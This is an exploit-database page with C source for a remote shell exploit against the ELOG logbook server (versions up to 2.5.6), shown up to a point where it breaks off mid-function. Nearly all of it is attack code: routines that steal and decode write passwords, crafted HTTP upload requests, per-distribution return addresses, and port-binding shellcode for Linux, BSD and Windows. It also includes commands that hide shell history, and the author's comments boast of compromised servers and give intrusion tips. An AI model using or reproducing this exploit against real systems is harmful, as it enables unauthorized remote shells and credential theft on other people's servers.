[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : ELOG <= 2.5.6 Remote Shell Exploit
# Published : 2005-02-09
# Author : n4rk0tix
# Previous Title : MSN Messenger PNG Image Buffer Overflow (linux compile)
# Next Title : Prozilla <= 1.3.7.3 Remote Format String Exploit


/* Worked on latest version for me 
 * http://midas.psi.ch/elog/download/tar/elog-latest.tar.gz
 * elog-latest.tar.gz      26-Jan-2005 21:36  519K
 * Default port 8080.
 * str0ke */

/*                                                                      
    
Hi there, someone has brought to u a gift.
 
     ELOG Remote Shell Exploit <= 2.5.6 (Also for future Versions)
 
      Updated On 18/April/2004

      LOCK YOUR LOGBOOKZ, THERE IS A SPY IN THE WILD! 

 Bug: Sorry, we do not support fool-disclosure.

 Characteristicz : Fully Automated Filling Mechanism ,steal/decode base_64 ELOG _write_ passwordz.
                   (breakin into write password protected servers,)
 
 Targeting : objdump -t elogd | grep _mtext   <----- your magic jumping addres.
             change that value with one of the targets below .If The ret lookz like 0x09..  
             then that means elogd version is 2.5.5 or greater.If 0x8.. then < 2.5.5
             NOte: The buffer-length in linux, varies from one distro to other, like the BSD one.
              so do not add shit to the target area unless as well as u know what u r doing.

 Tricks   i : Some hosts using Elog daemon under Apache mod_proxy module,
              so u'd better  force a bit yourself port scan that host in order to get the elog port.
              (Be warned , most of the serverz we owned had at least 2 running elog http servers.)              

         ii : If U can _not_ get the write pazzword for logbook, then try other logbooks.
		        (especially, happens when the background mode enabled).


        iii : If u happen to meet logbook which has more than 10 attribute/optionz
              then add more globalz to the global sectionz of this code,now it supportz 
              10 att/opt, i haven't seen more than this Yet!.

Challange: Find the other 2 heap and a 1 url traversal bugs in elogd.(Both exploitable)
 
Finally A big FUCK to the Sn2 for leaking this code to the public.

 Unknown u.g Bl4ckh4t group member[3]



                        nrktx                                    DIGITALLY SIGNATURED

_EOC_

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <ctype.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
#include <err.h>

#define _GNU_SOURCE
#define CONTSIZE            10000
#define BOUNSIZE            100
#define REQUESTSIZE         2000
#define INBUF               5000
#define LINEBUFSIZ          1000
#define GETBUFSIZE          10000
#define SENDBUFSIZE         10000
#define TIMEOUT             30
#define ENURLSIZE           200
#define GLOBATTSIZE         200
#define STORESIZE           10000
#define ELOGPORT            8080
#define SHBUFSIZE           288
#define BIGBUFSIZE          5000
#define BACKDOOR            31337
#define BSDBACKDOOR         11520
#define WINBACKDOOR         5555
#define NOP                 0x90
#define RED                 "33[31m"
#define GREEN               "33[32m"
#define DEFAULT             "33[0m"
#define CHECKELOG           "HEAD HTTP/1.1"
#define HTTPVER             " HTTP/1.1rn"
#define POSTREQ             "POST /"
#define GETREQ              "GET /"
#define GETREQCMD           "?cmd=download"           
#define TESTUSER            "candy-n4rk0tix"
#define TESTPASS_DECODED    "candy-blackhat"
#define ADDICTEDZ           "candy:narkotix"
#define EXPERIMENT          "iloveucandy"
#define LOGBOOKAUTHOR       "CodeName : Candy-bl4ckh47"
#define LOGSUBJECT          "Mission Impossible"
#define ATT_FILE            "do-NOT-trust-me-biatch"
#define MSGCONTENT          "Building Required HTML CONTENT"
#define MSGQUERY            "Building Required HTML QUERY"
#define MSGVER              "Asking For Version..."
#define MSGBOUNDARY         "Building Random BOUNDARY.."
#define MSGSECTOR           "Checking IF Sector Is CLEAR.."
#define READOPTION          "Getting Required Attr Options BE PATIENT !"
#define PASSALERT           "LogBook Is Write Password Protected"
#define GETINGPASS          "Wait Bro We R Gonna Catch The Password"
#define PASSSUCCESS         "WE GOT The Write Password Bro !!"
#define CLEARAREA           "[SECTOR CLEAR.. FORCING OUR LUCK TO GET IN]"
#define NODATA              "EOF"
#define PASSFAILED          "Could not get password, Prolly Elogd started with -D arg !"
#define DEMOLOGBOOK         "demo"
#define UPLOADME            1
#define NOTUPLOADME         0
#define VERSION_CHECKER     "Server: ELOG HTTP "
#define AUTHORIZED_DENY     "401 Authorization Required"
#define SECTOR_CLEAR        "302 Found"
#define INVALIDURL          "Invalid URL"
#define ATTERR              "Error: Attribute "
#define ATTOPTERR           "Error: Attribute option "
#define ATTERRTAG           "<b>"
#define ATTERRTAGLAST       "</b>"
#define ATTNOTFOUND(x)      {fprintf(stderr,"[!] Attribute %s Notfoundn",x);}
#define MAKINGATT(x)        {fprintf(stderr,""GREEN"[+]"DEFAULT" Attribute %s ADDING..
                             t"GREEN"DONE"DEFAULT"n",x);}
#define NOTELOG             "Remote Server Is NOT Elog !"
#define REMDOWN             "Connection reset by Peer"
#define REMCRASHED          "Server DEAD"
#define BIGOPTIONLIST       "Too Many Attributes Dude,MODIFY THE CODE !"
#define ASKEDPASS           "Please enter password to obtain write access"
#define ALLOCGLOB(x)        {x = (char *)malloc(GLOBATTSIZE *sizeof(char));}
#define ZEROGLOB(x)         { memset(x,'',GLOBATTSIZE);}
#define PRINTINFO(x,y)      {if(y <= 1) printf(""GREEN"[+]"DEFAULT" %sn",x);}                         
#define NPRINTINFO(x)       {printf("[-] %sn",x);}
#define LOGBOOKNOTFOUND(x,y)  {bzero(x,sizeof(x));
                               sprintf(x,"Error: logbook "%s" not defined",y);
                              }
#define BADSELECT           "option value="">"
#define COMMAND             "echo         '---[WE NEVER BELIEVE IN LUCK]---'; uptime ; uname -a ; id;"
                            "TERM=xterm; export TERM; who ; unset HISTFILEn"
#define WINCMD              "echo '----WE PWNED U DUDE---' & hostnamen "
char                        *map = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char                        content[CONTSIZE];  
static  int                 content_length;
static  unsigned char       boundary[BOUNSIZE];
char                        encoded_url[ENURLSIZE];
static int                  globcount = 0;
static int                  debug     = 1;
static int                  recount   = 0;
int                         id        = 0;
char                        wpassbufdec[50] = {''};
char                        wpassbufenc[50] = {''};
char                        userandpass[50] = ADDICTEDZ;
char                        encuserandpass[50] = ADDICTEDZ;
char                        bigbuffer[BIGBUFSIZE];
char                        shbuffer     [288];
char                        fedorabuf    [288];
char                        debianbuffer [264];
char                        windozebuf   [246];
char                        windozetext  [600];

static unsigned char glob1_att[GLOBATTSIZE] = {''};
static unsigned char glob2_att[GLOBATTSIZE] = {''};
static unsigned char glob3_att[GLOBATTSIZE] = {''};
static unsigned char glob4_att[GLOBATTSIZE] = {''};
static unsigned char glob5_att[GLOBATTSIZE] = {''};
static unsigned char glob6_att[GLOBATTSIZE] = {''};
static unsigned char glob7_att[GLOBATTSIZE] = {''};
static unsigned char glob8_att[GLOBATTSIZE] = {''};
static unsigned char glob9_att[GLOBATTSIZE] = {''};
static unsigned char glob10_att[GLOBATTSIZE] = {''};

static unsigned char glob1_opt[GLOBATTSIZE] = "Other";
static unsigned char glob2_opt[GLOBATTSIZE] = "Other";
static unsigned char glob3_opt[GLOBATTSIZE] = "Other";
static unsigned char glob4_opt[GLOBATTSIZE] = "Other";
static unsigned char glob5_opt[GLOBATTSIZE] = "Other";
static unsigned char glob6_opt[GLOBATTSIZE] = "Other";
static unsigned char glob7_opt[GLOBATTSIZE] = "Other";
static unsigned char glob8_opt[GLOBATTSIZE] = "Other";
static unsigned char glob9_opt[GLOBATTSIZE] = "Other";
static unsigned char glob10_opt[GLOBATTSIZE] = "Other";

 struct globalz
   {
    char *addr;
    int  id;
    };
 
 struct target
   {
    char *distro;
    long ret;
    int   id;
    };

 struct target TARGETZ[] =
{
    {"Slackware 9.1"       , 0x08629588 , 0},
    {"Gentoo 3.3.5-r1 "    , 0x09093f40 , 1},  /* 0x08624572 for Gentoo 3.3.2 */
    {"FreeBSD 4.9 STABLE " , 0x0906aa24 , 2},
    {"Mandrake 10.1"       , 0x085dd70a , 3},
    {"Fedora Core 1"       , 0x08624600 , 4},  /* Fedora sux, Inferno  Rulez*/
    {"Debian 3.0   "       , 0x085e0420 , 5},  /* 2.5.6-1 - 0x090853e0 /str0ke */ 
    {"WinXP SP2 Elog-2.5.6", 0x0055D9F0 , 6},  /* Fuck that NULL byte, it is innocent */
    {"Redhat 7.3   "       , 0x85dd3c0  , 7},
    {"Redhat E.L   "       , 0x090653a0 , 8},
    {"Slackware 10 "       , 0x09064c80 , 9},    
    {"FreeBSD 5.2  "       , 0x090673c0 , 10},
    {"FreeBSD 5.3 STABLE"  , 0x090658e0 , 11},
    {"NULL         "       , 0x0        , -1},
};   

struct globalz MISSED[]=
{
    {(char *)&glob1_att,          0},
    {(char *)&glob2_att,          0},
    {(char *)&glob3_att,          0},
    {(char *)&glob4_att,          0},
    {(char *)&glob5_att,          0},
    {(char *)&glob6_att,          0},
    {(char *)&glob7_att,          0},
    {(char *)&glob8_att,          0},
    {(char *)&glob9_att,          0},
    {(char *)&glob10_att,         0},
    { NULL              ,         0},
};

struct globalz TRASH[]=
{
    {(char *)&glob1_opt,          0},
    {(char *)&glob2_opt,          0},
    {(char *)&glob3_opt,          0},
    {(char *)&glob4_opt,          0},
    {(char *)&glob5_opt,          0},
    {(char *)&glob6_opt,          0},
    {(char *)&glob7_opt,          0},
    {(char *)&glob8_opt,          0},
    {(char *)&glob9_opt,          0},
    {(char *)&glob10_opt,         0},
    {NULL               ,         0}
};


/*linux portbind 31337*/
char lnx_shellcode[] =
                        "x31xc0x50x40x89xc3x50x40x50x89xe1"
                        "xb0x66xcdx80x31xd2x52x66x68x7ax69"
                        "x43x66x53x89xe1x6ax10x51x50x89xe1"
                        "xb0x66xcdx80x40x89x44x24x04x43x43"
                        "xb0x66xcdx80x83xc4x0cx52x52x43xb0"
                        "x66xcdx80x93x89xd1xb0x3fxcdx80x41"
                        "x80xf9x03x75xf6x52x68x6ex2fx73x68"
                        "x68x2fx2fx62x69x89xe3x52x53x89xe1"
                        "xb0x0bxcdx80x90x90x90x90x90x90x90"
                        "x90x90x90x90x90x90x90x90x90x90x90"
                        "x90x90x90x90";
                        
/*BSD portbind */
char bsd_shellcode[] =
   
                        "x31xc0x99x52x42x52x42x52x50xb0x61"
                        "xcdx80x6ax2dx66x52x89xe3x6ax10x53"
                        "x50x50xb0x68xcdx80x5bx50x53x50xb0"
                        "x6axcdx80xb0x1excdx80x52x50x52xb0"
                        "x5axcdx80x4ax79xf6x68x6ex2fx73x68"
                        "x68x2fx2fx62x69x89xe3x50x54x53x53"
                        "xb0x3bxcdx80x90x90x90x90x90x90x90";
/*Win2k portbind 5555*/
char win_shellcode[] =
                       "x66x81xecx04x07"
                       "x90x90x90x90x90x90x90x90x90x90x90x90xebx19x5ex31"
                       "xc9x81xe9xa6xffxffxffx81x36x76xacx7cx25x81xeexfc"
                       "xffxffxffxe2xf2xebx05xe8xe2xffxffxffx9ex94x7cx25"
                       "x76xefx31x61x76x4bx05xe3x0fx49x35xa3x3fx08xd1x0b"
                       "x9fx08x66x55xb1x75x75xd0xdbx67x91xd9x4dx22x32x2b"
                       "x9axd2xa4xc7x05x01xa5x20xb8xdex82x96x60xfbx2fx17"
                       "x29x9fx4ex0bx32xe0x30x25x77xf7x28xacx93x25x21x25"
                       "x1cx9cx25x41xfdxadxf7x65x7ax27x0cx39xdbx27x24x2d"
                       "x9dxa0xf1x72x5axfdx2exdaxa6x25xbfx7cx9dxbcx16x2d"
                       "x28xadx92x4fx7cxf5xf7x58x76x2cx85x23x02x48x2dx76"
                       "x89x98xf3xcdxe6xacx7cx25x2fx25x78xabx94x47x4dxda"
                       "x10x2dx90xb5x77xf8x14x24x77xacx7cxdax23x8cx2bx72"
                       "x21xfbx3bx72x31xfbx83x70x6ax25xbfx14x89xfbx2bx4d"
                       "x74xacx69x96xffx4ax16x35x20xffx83x70x6exfbx2fxda"
                       "x23xb8x2bx73x25x53x29x35xffx6ex1axa4x9axf8x7cxa8"
                       "x4ax88x4dxe5x1cxb9x25xd6xddx25xabxe3x32x88x6cx61"
                       "x88xe8x58x18xffxd0x58x6dxffxd0x58x69xffxd0x58x75"
                       "xfbxe8x58x35x22xfcx2dx74x27xedx2dx6cx27xfdx83x50"
                       "x76xfdx83x70x46x25x9dx4dx89x53x83xdax89x9dx83x70"
                       "x5axfbx83x70x7ax53x29x0dx25xf9x2ax72xfdxc0x58x3d"
                       "xfdxe9x40xaex22xa9x04x24x9cx27x36x3dxfdxf6x5cx24"
                       "x9dx4fx4ex6cxfdx98xf7x24x98x9dx83xd9x47x6cxd0x1d"
                       "x96xd8x7bxe4xb9xa1x7dxe2x9dx5ex47x59x52xb8x09xc4"
                       "xfdxf6x58x24x9dxcaxf7x29x3dx27x26x39x77x47xf7x21"
                       "xfdxadx94xcex74x9dxbcxacx9cxf3x22x78x2dx6ex74x25";


char                       *make_http_content(int  ,  char*);
char                       *make_random_boundary    (void);
char                       *make_request_header(char *,char *,int);
char                       *urlencode  (char *);
void                       base64_encode     (char *, char *);
void                       get_server_version(char *, unsigned short int);
void                       base64_decode     (char *, char *);
void                       get_missing_attributes  (char *, char *,char *);
void                       alloc_all_globalz   (void);
void                       re_check_sector (char *,unsigned short,char *,int);
void                       spy_attr_options (char *,unsigned short int, char *);
void                       make_spy_header(char *,short, char *,char *);
void                       crack_the_code (char *,unsigned short, char *);
void                       authorize_user(char * , char *);
void                       build_att_buffer (int , int);
void                       do_last_stage   ( char *  ,short  ,   char *);
void                       we_r_coming     (char* );
void                       shell(int sock);
void                       banner(void);
void                       usage(char *);
void                       listos(void);
long                       get_host_ip (char *);
int                        cind    (char c);
int                        is_there_attribute  (void);
int                        check_for_clear_sector (char *,unsigned short int,char *,int);


int main             (int argc , char *argv[])
{
   int       flg;
   int       port      = ELOGPORT;
   int       uniz      = 0;
   char      *logbook  = DEMOLOGBOOK;
   char      *hostname = NULL;
   char      *u_name   = TESTUSER;
   char      *u_pwd    = TESTPASS_DECODED;
   char      *write_pazzword = NULL;

   banner();
    while((flg = getopt(argc,argv,"h:p:l:o:w:u:r:dD")) !=EOF)
      {
        switch(flg)
         {
          case 'h':
               hostname = strdup(optarg);
               break;
          
          case 'p':
               port = atoi(optarg);
               break;

          case 'l':
               logbook = strdup(optarg);
               break;

          case 'o':
               id      = atoi(optarg);
                if((id == 2) || (id == 10) || (id == 11)){
                uniz++;
                break;}
                if(id == 6)
                uniz = 2;
               break;

          case 'd':
               listos();
               exit(1);
          
          case 'u':
               u_name  = strdup(optarg);
               break;

          case 'r':
               u_pwd   = strdup(optarg);
               break;

          case 'w':
               write_pazzword = strdup(optarg);
               strncpy(wpassbufdec,write_pazzword,49);
               break;

          default :
               usage(argv[0]);
               
         }
      }           

          if(!hostname)
             exit(1);
           printf(""GREEN"[+]"DEFAULT" Exploiting on %s : 0x%lxn",TARGETZ[id].distro,TARGETZ[id].ret);
           alloc_all_globalz();
           build_att_buffer(uniz,id);
           authorize_user(u_name , u_pwd);
           get_server_version(hostname,port);
           check_for_clear_sector(hostname,port,logbook,0);
return(0);
}




void         base64_encode(char *s, char *d)
{
   unsigned int t, pad;

   pad = 3 - strlen(s) % 3;
   if (pad == 3)
      pad = 0;
   while (*s) {
      t = (*s++) << 16;
      if (*s)  
         t |= (*s++) << 8;
      if (*s)  
         t |= (*s++) << 0;
      
      *(d + 3) = map[t & 63];
      t >>= 6;  
      *(d + 2) = map[t & 63];
      t >>= 6;
      *(d + 1) = map[t & 63];
      t >>= 6;
      *(d + 0) = map[t & 63];
  
      d += 4;
   }
   *d = 0;
   while (pad--)

      *(--d) = '=';
}


void        base64_decode(char *s, char *d)
{
   unsigned int t;
                     
   while (*s) {
      t = cind(*s) << 18;
      s++;
      t |= cind(*s) << 12;
      s++;
      t |= cind(*s) << 6;
      s++;
      t |= cind(*s) << 0;
      s++;
      
      *(d + 2) = (char) (t & 0xFF);
      t >>= 8;
      *(d + 1) = (char) (t & 0xFF);
      t >>= 8;
      *d = (char) (t & 0xFF);
      
      d += 3;
   }
   *d = 0;
}

int                   cind(char c)
{  
   int i;
   
   if (c == '=')
      return 0;
   
   for (i = 0; i < 64; i++)
      if (map[i] == c)
         return i;
   
   return -1;
}

void             get_server_version(char *hostname,unsigned short port)
 {
   const unsigned char *version_chec = VERSION_CHECKER;
   const unsigned char *version_request = CHECKELOG;
   int          yes = 1;
   int          get_total = 0;
   int          send_total = 0;
   char         info_buf[INBUF];
   int          sock_req;
   int          ready;   
   struct sockaddr_in rem_addr;
   fd_set             read_fd;
   struct timeval     w_t;
     
     w_t.tv_sec  = TIMEOUT;
     w_t.tv_usec = 0;
     
   PRINTINFO(MSGVER,1);
 
           sock_req = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
             if(sock_req < 0) {
             perror("socket");
             exit(EXIT_FAILURE);
             }
          if(setsockopt(sock_req,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(int)) == -1)
          { perror("setsockopt");
          exit(1);
          }
   
           memset(&(rem_addr.sin_zero),'',8);
           rem_addr.sin_family = AF_INET;
           rem_addr.sin_port   = htons(port);
           rem_addr.sin_addr.s_addr = get_host_ip(hostname);            
      
               if( connect(sock_req,(struct sockaddr *)&rem_addr,sizeof(struct sockaddr)) == -1)
                { 
                err(1,NULL);
                exit(1);
                }
     
          FD_ZERO(&read_fd);
          FD_SET(sock_req,&read_fd);
          
               if ((send_total = send(sock_req,version_request,strlen(version_request),0)) == -1)
                {
                perror("send");
                exit(1);
                }
         if((ready = select(sock_req+1,&read_fd,(fd_set *)NULL,(fd_set *)NULL,&w_t)) < 0){
             perror("select");
             exit(1);
             }
         if(FD_ISSET(sock_req,&read_fd))
          {
               if( (get_total = recv(sock_req,info_buf,sizeof(info_buf)-1,0)) == -1)
                {
                perror("recv");
                exit(1);
                }
                  else if(get_total <= 0){
                  fprintf(stderr,"[-]Can not receive informationn");
                  exit(1);
                  }
          info_buf[get_total] = '';
          int i;
          char             linebuf[LINEBUFSIZ];
          char             lastbuf[LINEBUFSIZ];
          bzero(linebuf,sizeof(linebuf));
          bzero(lastbuf,sizeof(lastbuf));

          char *p = (char *)&linebuf[0];
          char *k = (char *)&lastbuf[0];
   
          char *z;
             if((z = strstr(info_buf,version_chec)) != NULL) 
              {
                strncpy(p,z,500);
                  for(i = 0; (*p != '-') && (*p != 'n'); i++){  
                   *k++ = *p++;
                   }
              PRINTINFO(lastbuf,debug);
              close(sock_req); 
              return; 
              }
          }
           NPRINTINFO(NOTELOG);
           close(sock_req);
           exit(1);
 }



char                    *make_random_boundary(void)
 {
        PRINTINFO(MSGBOUNDARY,debug); 
        char          bound_buf[BOUNSIZE];
        char          *p;
        p = bound_buf;
        srand((unsigned) time(NULL));
    
         bzero(bound_buf,sizeof(bound_buf));
         sprintf(bound_buf,"---------------------------%04X%04X%04X",rand(),rand(),rand());
         return(p);
 }




char                    *make_http_content(int choice,char *logbookname) 
 {
  char                 *pazzword   = TESTPASS_DECODED;
  char                 passencode[50];
  char                 *text       = NULL;
  const char           *experiment = logbookname;
  const char           *att_file   = shbuffer;
  const char           *testuser   = TESTUSER;
  const char           *subject    = LOGSUBJECT;
  char                 *l_content  = content;
  int                  include_evilfile = 0;
  int                  attrcount = 0;
  int                  j;    
                if(choice == UPLOADME)
                include_evilfile = 1;
                else if (choice == NOTUPLOADME)
                include_evilfile = 0;
 
     if(id == 4)
     att_file = fedorabuf;
     if((id == 5) || (id == 2))
     att_file = debianbuffer;
     if(id == 6){
     att_file = windozebuf;
     text     = windozetext;
     }
     if(id != 6)
     text = bigbuffer;
     sprintf(boundary,"%s",make_random_boundary());

     PRINTINFO(MSGCONTENT,debug);

     base64_encode(pazzword,passencode);


  strcpy(content,boundary);

  strcat(content, "rnContent-Disposition: form-data; name="cmd"rnrnSubmitrn");
  
  sprintf(content + strlen(content),
          "%srnContent-Disposition: form-data; name="wpwd"rnrn%srn",boundary,wpassbufenc); 

  sprintf(content + strlen(content),
          "%srnContent-Disposition: form-data; name="unm"rnrn%srn",boundary,testuser);

  
  sprintf(content + strlen(content),
          "%srnContent-Disposition: form-data; name="upwd"rnrn%srn", boundary, passencode);
  
  sprintf(content + strlen(content),
          "%srnContent-Disposition: form-data; name="exp"rnrn%srn", boundary, experiment);


    if((attrcount = is_there_attribute())) {
      for( j = 0; j < attrcount ; j++) {
  
  sprintf(content + strlen(content),
          "%srnContent-Disposition: form-data; name="%s"rnrn%srn", 
           boundary,MISSED[j].addr,TRASH[j].addr);
         }
      }

  sprintf(content + strlen(content),
          "%srnContent-Disposition: form-data; name="Subject"rnrn%srn", boundary, subject);

  
  sprintf(content + strlen(content),
          "%srnContent-Disposition: form-data; name="Text"rnrn%srn", boundary, text);

   if(include_evilfile){  

  sprintf(content + strlen(content),
          "%srnContent-Disposition: form-data; name="attfile";filename="%s"rn", boundary, att_file);
  }
  
  sprintf(content + strlen(content),"%srn", boundary);
 

                   content_length = strlen(content);
                   content[content_length] = '';
                   return(l_content);
}



char                *urlencode(char *str)
{
   char             *p;
   char *s          = encoded_url;
   p                = str;
   char             *encoded = encoded_url;

            bzero(encoded_url,sizeof(encoded_url));
 
            if(index(str,' ') == NULL) {
             return(str);
            }
              while(*p && (int) s < (int) encoded_url + 50 ) {
                *s = *p;
                  if(*p == ' '){
                   *s = '+';
                  }   
                s++;
                p++;
}

return(encoded);
}



char                *make_request_header(char *logbookname,char *glob_boundary,int which)
 {
  glob_boundary       = boundary;
  char                request[REQUESTSIZE];
  char                *p = request;
  char                boun_buf[BOUNSIZE];
  char                host_name[50];
  char                *url_enc = urlencode(logbookname);
  
  
              if(gethostname(host_name,sizeof(host_name)) == -1)
                { perror("gethostname");
                  exit(EXIT_FAILURE);
                }
                sprintf(boun_buf,"%s",boundary);

             if(which){  
              PRINTINFO(MSGQUERY,debug);
              }
  strncpy(request,POSTREQ,sizeof(POSTREQ));
  sprintf(request + strlen(request), "%s/",url_enc);
  strcat(request,HTTPVER);
  sprintf(request + strlen(request), "Content-Type: multipart/form-data; boundary=%srn",glob_boundary);
  sprintf(request + strlen(request), "Host: %srn", host_name);
  sprintf(request + strlen(request), "User-Agent: ELOGrn");
  sprintf(request + strlen(request), "Authorization: Basic %srn",encuserandpass);
  sprintf(request + strlen(request), "Content-Length: %drnrn", content_length);    
  bzero(encoded_url,sizeof(encoded_url));
  return(p);
}



long          get_host_ip(char *hname)
 {
  long ip_add;
  struct hostent *h;
   if((ip_add = inet_addr(hname)) < 0)
    {
     h = gethostbyname(hname);
      if(h == NULL)
        {
         fprintf(stderr,"[-]Can not resolve IP addressn");
         exit(1);
        }
      memcpy(&ip_add,h->h_addr,h->h_length);
    } 
   return(ip_add);
 }





int                 check_for_clear_sector(char *hostname,unsigned short port,char *logbook,int flag)
 {
   struct        sockaddr_in rem_addr;
   char          sendbuf[SENDBUFSIZE];
   char          *sendbufp;
   char          getbuf[GETBUFSIZE];
   char          *reqbuf;
   char          notfound[100];
   int           yes;
   int           total;
   int sock;
   int          flagchoice;
   struct timeval w_t;
   fd_set          read_fd;
   int            total_fd;

           PRINTINFO(MSGSECTOR,debug);
           LOGBOOKNOTFOUND(notfound,logbook);             

HEAD:   
          bzero(&w_t,sizeof(w_t));

          w_t.tv_sec     = TIMEOUT;
          w_t.tv_usec    = 0;

             if(flag == 0)
             flagchoice = NOTUPLOADME;
             else 
             flagchoice = UPLOADME;
   
         sock      = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
          if(sock < 0)
           {
            perror("socket");
            exit(1);
           }
         if(setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int)))
           { perror("setsockopt");
           close(sock);
           exit(1);
           }
  

          memset(&(rem_addr.sin_zero),'',8);
          rem_addr.sin_family = AF_INET;
          rem_addr.sin_port   = htons(port);
          rem_addr.sin_addr.s_addr = get_host_ip(hostname);

            if(connect(sock,(const struct sockaddr*)&rem_addr,sizeof(rem_addr)))
             {  
             fprintf(stderr,"[-] Can not Connect to server!n");
             exit(1);
             }
        
          sendbufp = make_http_content(flagchoice,logbook);
          reqbuf = make_request_header(logbook,boundary,0);
          strcpy(sendbuf,reqbuf);
          strcat(sendbuf,sendbufp);

           if( (send(sock,sendbuf,sizeof(sendbuf),0)) < 0 )
            {
            perror("send");
            exit(-1);
            close(sock);
            }

               FD_ZERO(&read_fd);
               FD_SET(sock,&read_fd);
      
               if( (total_fd = select(sock + 1,&read_fd,(fd_set *)NULL,(fd_set *)NULL,&w_t)) < 0)
                {
                perror("select");
                close(sock);
                exit(-1);
                }

           
               if(FD_ISSET(sock,&read_fd))
                {
                 if( (total = recv(sock,getbuf,sizeof(getbuf),0)) < 1) {
                    if(errno == EWOULDBLOCK ){
                       NPRINTINFO(REMDOWN);
                       PRINTINFO(REMCRASHED,1);
                       close(sock); 
                       exit(-1);
                       }
                    close(sock);
                    exit(1);
                    }
                 if(strstr(getbuf,INVALIDURL)) {
                     fprintf(stderr,"[-] Invalid URL Bitch, Type the Correct Pathn");
                     close(sock);
                     exit(-1);
                     }              

                 if(strstr(getbuf,AUTHORIZED_DENY)) {
                    fprintf(stderr,"[-] Type User name and Password for login Bitchn");
                    close(sock);
                    exit(-1);
                     }

                 if(strstr(getbuf,notfound)) {
                   fprintf(stderr,"[-] NO %s LOGBOOK DEFINED BITCHn",logbook);
                   close(sock);
                   exit(-1);
                     }   
                
                 if(strstr(getbuf,ASKEDPASS)) {
                   NPRINTINFO(PASSALERT);
                   crack_the_code(hostname,port,logbook);
                   close(sock);
                   bzero(getbuf,sizeof(getbuf));
                   goto HEAD;
                     }
                
                 if(strstr(getbuf,ATTOPTERR)) {
                   PRINTINFO(READOPTION,1);
                   close(sock);
                   bzero(getbuf,sizeof(getbuf));
                   spy_attr_options(hostname,port,logbook);
                   goto HEAD;
                     }
                 if(strstr(getbuf,ATTERR)) {
                   get_missing_attributes(getbuf,ATTERR,MISSED[globcount].addr);                       
                   ATTNOTFOUND(MISSED[globcount].addr);
                   MAKINGATT (MISSED[globcount].addr);
                   globcount++;
                   bzero(getbuf,sizeof(getbuf));                   
                   re_check_sector(hostname,port,logbook,flag);                  
                     }

                 if(strstr(getbuf,SECTOR_CLEAR)) {
                    PRINTINFO(CLEARAREA,1);
                    close(sock);
                    do_last_stage(hostname,port,logbook);
                    we_r_coming(hostname);
                    }
           }    
 return(1);
}


void                get_missing_attributes(char *attbuf, char *errmessage,char *glob_att)
{
  int            i,j = 0;
  char           *p,*k;
  p              = attbuf;
  k              = glob_att;
  
        bzero(glob_att,sizeof(glob_att));

   if(strstr(p,errmessage)){
      i = strlen(p) - strlen(strstr(p,ATTERRTAG));
         if( *(char *)(p+i) == '<' && *(char *)(p+i+2) == '>' ) {
           j = i+3;
            for( ; *(char *)(p+j) != '<' && *(char *)(p+j+3) != '>' ; j++ ) {
                *k++ = *(char *)(p+j);
                }

            *k = '';
            return;
          }
    }
 return;
}

void              alloc_all_globalz(void)
{
    ZEROGLOB(glob1_att);   
    ZEROGLOB(glob2_att);  
    ZEROGLOB(glob3_att);   
    ZEROGLOB(glob4_att);   
    ZEROGLOB(glob5_att);   
    ZEROGLOB(glob6_att);   
    ZEROGLOB(glob7_att);   
    ZEROGLOB(glob8_att);   
    ZEROGLOB(glob9_att);  
    ZEROGLOB(glob10_att);

}


int               is_there_attribute(void)
{
  int           i = 0;
  int           j = 0;
   for(i = 0; i<10 ; i++) {
    if(strlen(MISSED[i].addr))
      j++;
    }
return(j);
}


void                  re_check_sector(char *hostname,unsigned short port,char *logbook,int flag)
{ 
  debug++;
  if(recount++ >= 10 ){
  NPRINTINFO(BIGOPTIONLIST);
  exit(1);
  } 
  check_for_clear_sector(hostname,port,logbook,flag);
}


void                 spy_attr_options(char *hostname,unsigned short port,char *logbook)
{
 int                 soc;
 int                 ready;
 int                 yes = 0;
 char                request[REQUESTSIZE];
 fd_set              read_fd;
 struct              timeval    w_t;
 struct              sockaddr_in rem_addr; 
 int                 k,i = 0;
 int                 n = 0;
 char                response[6900];
 char                temp[100];
 char                *p,*z;

        bzero(response,sizeof(response));
        bzero(temp,sizeof(temp));
        make_spy_header(hostname,port,request,logbook);
        w_t.tv_sec   = TIMEOUT;
        w_t.tv_usec  = 0;

         soc      = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
           if(soc < 0){
              perror("socket");
              exit(1);     
            }
          if(setsockopt(soc,SOL_SOCKET,SO_REUSEADDR,(char *)&yes,sizeof(int)))
            { perror("setsockopt");
              close(soc);
              exit(1);
            }

    memset(&(rem_addr.sin_zero),'',8);
    rem_addr.sin_family = AF_INET;
    rem_addr.sin_port   = htons(port);
    rem_addr.sin_addr.s_addr = get_host_ip(hostname);

         if(connect(soc,(const struct sockaddr*)&rem_addr,sizeof(rem_addr)))
          {
          fprintf(stderr,"[-] Can not Connect to server!n");
          exit(1);
          }
                 
         if( (send(soc,request,strlen(request),0)) < 0 )
          {
           perror("send");
           exit(-1);
           close(soc);
          }
             FD_CLR(soc,&read_fd);
             FD_ZERO(&read_fd);
             FD_SET(soc,&read_fd);
    
         if( (ready = select(soc+1,&read_fd,(fd_set *)NULL,(fd_set *)NULL,&w_t)) < 0)
          {
           perror("select read socket");
           close(soc);
           exit(1);
          }
        
         if(FD_ISSET(soc,&read_fd)){         
            i = recv(soc, response, 100, 0);
             if (i < 0) {
              perror("Cannot receive response");
              exit(1);
              }
      
           n = i;
            while (i > 0) {
              i = recv(soc, response + n, 100, MSG_DONTWAIT);
              if (i > 0)
              n += i;
              if(i <= 0)
              break;
             }
           response[strlen(response)] = '';
           close(soc);
           fflush(stdin);

#define findme(x,y)  {sprintf(x,"Options %s =%c",y,0x20);}

           for(i = 0 ; MISSED[i].addr != NULL ; i++) {
